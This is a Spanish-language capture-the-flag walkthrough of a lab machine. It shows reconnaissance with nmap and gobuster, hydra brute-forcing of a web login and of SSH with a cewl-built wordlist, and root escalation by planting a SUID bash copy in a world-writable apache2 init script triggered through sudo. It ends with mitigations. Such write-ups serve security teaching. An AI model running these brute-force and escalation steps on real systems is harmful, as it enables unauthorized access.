Este laboratorio está catalogado con la dificultad "Medio" y su autor es "d1se0".

ATENCIÓN

Las herramientas y técnicas utilizadas en la resolución de este laboratorio han sido ejecutadas en un entorno controlado. El autor de esta publicación no se hace responsable del mal uso que se haga de estas, ya que el objetivo final de esta publicación es transmitir conocimientos con fines éticos y educativos.

Resumen de contenido sobre este laboratorio

Tags: Contraseña débil ,Divulgación de información , Permisos laxos en archivos , Privilegios SUDO

• Acceso autenticado a una aplicación web debido al descubrimiento de un posible usuario y una contraseña débil asociada, posibilitando así el acceso a un apartado secreto de esta.
• Descubrimiento de un usuario asociado al servicio SSH en dicho apartado secreto junto a una contraseña débil asociada, posibilitando así el acceso inicial.
• Explotación de un privilegio SUDO + permisos laxos en el script de inicio asociado al servicio apache2, lo que permite la ejecución arbitraria de comandos mediante el reinicio del servicio apache2, ofreciendo la posibilidad de escalar privilegios al usuario root.

Reconocimiento inicial

Se inicia el reconocimiento mediante un ping a la máquina. Esto se hace por un lado para detectar que la máquina se encuentra accesible y por otro lado para poder detectar el sistema operativo mediante el TTL asignado.

ping -c 1 172.17.0.2

Se puede comprobar que el TTL asignado es 64, indicando que la máquina está accesible directamente sin ningún nodo intermediario y por otro lado que el sistema subyacente es GNU/Linux.

Una vez hecho esto, se realiza un reconocimiento de los servicios disponibles en dos fases. En la primera, se realiza un escaneo de todos los puertos TCP usando nmap para detectar en primera instancia cuales de ellos son accesibles (open), utilizando un escaneo TCP SYN.

sudo nmap -sS -p- --min-rate 1000 -n -Pn 172.17.0.2 -oN allPorts

En la segunda, se realiza un reconocimiento básico de los servicios subyacentes también mediante el uso de nmap. Esta vez, realizando dicha tarea de reconocimiento únicamente en los puertos detectados como abiertos.

nmap -sCV -p 22,80,3306 -n -Pn 172.17.0.2 -oN services

En este caso, se omite el escaneo de puertos UDP, ya que para esta máquina en particular no tiene ningún servicio relevante para llevar a cabo el ejercicio.

Acceso inicial (Kinder)

En este caso se detecta que hay tres puertos abiertos:

• Puerto 22 (servicio SSH, OpenSSH)
• Puerto 80 (servicio HTTP, Apache httpd)
• Puerto 3306 (servicio MySQL)

Tras revisar el puerto 80, parece mostrar una página sobre una plataforma de comunicación segura denominada "Hackerspace".

URL -> http://172.17.0.2

Al pulsar en el botón "Login" este redirige a una página de login.

URL -> http://172.17.0.2/login.php

Tras enumerar el servicio en busca de nuevos recursos web, parece ser que todos los encontrados están asociados a la funcionalidad de login.

gobuster dir -u http://172.17.0.2 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt,zip -t 64

Al revisar la salida de nmap obtenida anteriormente, se detecta un potencial nombre de usuario "Medusa".

Tras intentar ataques de diccionario con listas predefinidas sobre el login no resulta en credenciales válidas. Por ello, se crea un diccionario propio utilizando la herramienta CEWL y la página web encontrada.

cewl http://172.17.0.2 -w cewl.txt && tail -n +2 cewl.txt > final_cewl.txt
cat final_cewl.txt | wc -l

Utilizando este diccionario se termina encontrando una combinación de credenciales válidas para el login previamente encontrado.

hydra -l Medusa -P final_cewl.txt 172.17.0.2 http-post-form "/login.php:username=^USER^&password=^PASS^:Invalid credentials" -I -f -t 64
hydra -l medusa -P final_cewl.txt 172.17.0.2 http-post-form "/login.php:username=^USER^&password=^PASS^:Invalid credentials" -I -f -t 64

Una vez introducidas las credenciales descubiertas en la página de login, se obtiene acceso a una página secreta.

URL -> http://172.17.0.2/page_super_secure/secret.php

Al revisar el código fuente, se detecta un comentario en HTML al final de la página donde se indica un mensaje que contiene un nuevo usuario "kinder".

<!-- I hope my boss doesn't kill me, but I tell kinder what a mess <RECORTADO> made with the message from the port. -->

Tras aplicar la misma estrategia que con la página de login para el servicio SSH no se detectan credenciales válidas.

Tras realizar pruebas con el texto secreto descubierto, se acaba detectando unas credenciales válidas para el servicio SSH.

...
hydra -l kinder -P final_cewl.txt ssh://172.17.0.2 -I -f -t 4
hydra -l Kinder -P final_cewl.txt ssh://172.17.0.2 -I -f -t 4
...
hydra -l Kinder -p <RECORTADO> ssh://172.17.0.2 -I -f -t 4

Gracias a estas es posible acceder al sistema a través del servicio SSH como el usuario "Kinder".

ssh Kinder@172.17.0.2
yes (aceptar conexión sin comprobar autenticidad)
<introducir la contraseña descubierta>
whoami
id
hostname

Por último, se obtiene la flag asociada al usuario "Kinder".

ls -al
cat user.txt

Escalada de privilegios (Kinder -> root)

Al listar los privilegios SUDO, se puede comprobar que el usuario "Kinder" puede ejecutar el comando "/usr/sbin/service apache2 restart" como cualquier usuario del sistema sin proporcionar contraseña. Esto viene definido de la siguiente forma tras listar sus privilegios:

• (ALL : ALL) NOPASSWD: /usr/sbin/service apache2 restart

Además, se detecta que el script de inicio para gestionar el servicio apache2 es modificable por cualquier usuario, lo que potencialmente permite la escalada de privilegios.

sudo -l
ls -al /etc/init.d/apache2

Como este script se ejecuta al utilizar el comando definido con privilegios SUDO, se puede aprovechar este incluyendo una serie de comandos para generar una copia de Bash con el bit SUID habilitado una vez este se ejecute como "root".

nano /etc/init.d/apache2

...
restart)
    cp /bin/bash /tmp/root-bash
    chmod +s /tmp/root-bash
...

CTRL+O
CTRL+X

Tras ejecutar el comando definido con privilegios SUDO (especificando el usuario "root"), el script se ejecuta creando la copia de Bash con el bit SUID habilitado. De esta forma es posible acceder como el usuario "root" directamente y obtener su flag asociada.

sudo -u root /usr/sbin/service apache2 restart
ls -al /tmp/root-bash

/tmp/root-bash -p
whoami
id
hostname

cd /root
ls -al
cat root.txt

En este punto, al haber obtenido acceso a la cuenta "root", se ha conseguido obtener los máximos privilegios posibles sobre el sistema objetivo (este laboratorio).

Mitigaciones a aplicar

• Almacenar o compartir la información sensible como contraseñas, hashes, notas, nombres de usuario o secretos similares de una forma segura (por ejemplo, usando gestores de contraseñas).
• Evitar que los usuarios del sistema u otros servicios críticos tengan como contraseña una que se pueda encontrar en listas públicas o conocidas como rockyou u otro tipo de credenciales por defecto. Recomendación: crear una política de contraseñas robusta para evitar que esto ocurra.
• Ajustarse al principio de privilegio mínimo y conceder a los usuarios del sistema única y exclusivamente los privilegios que vayan a necesitar. Aplica de la misma forma para recursos del sistema y sus permisos. Recomendación: existen guías de hardening como "CIS Benchmarks" para aplicar buenas prácticas y asegurar entre otras cosas, los permisos para distintos tipos de software y sistemas expuestos en Internet.

¿Te gustó esta publicación? Sígueme y descubre más en mi blog principal: https://pyth0nk1d.medium.com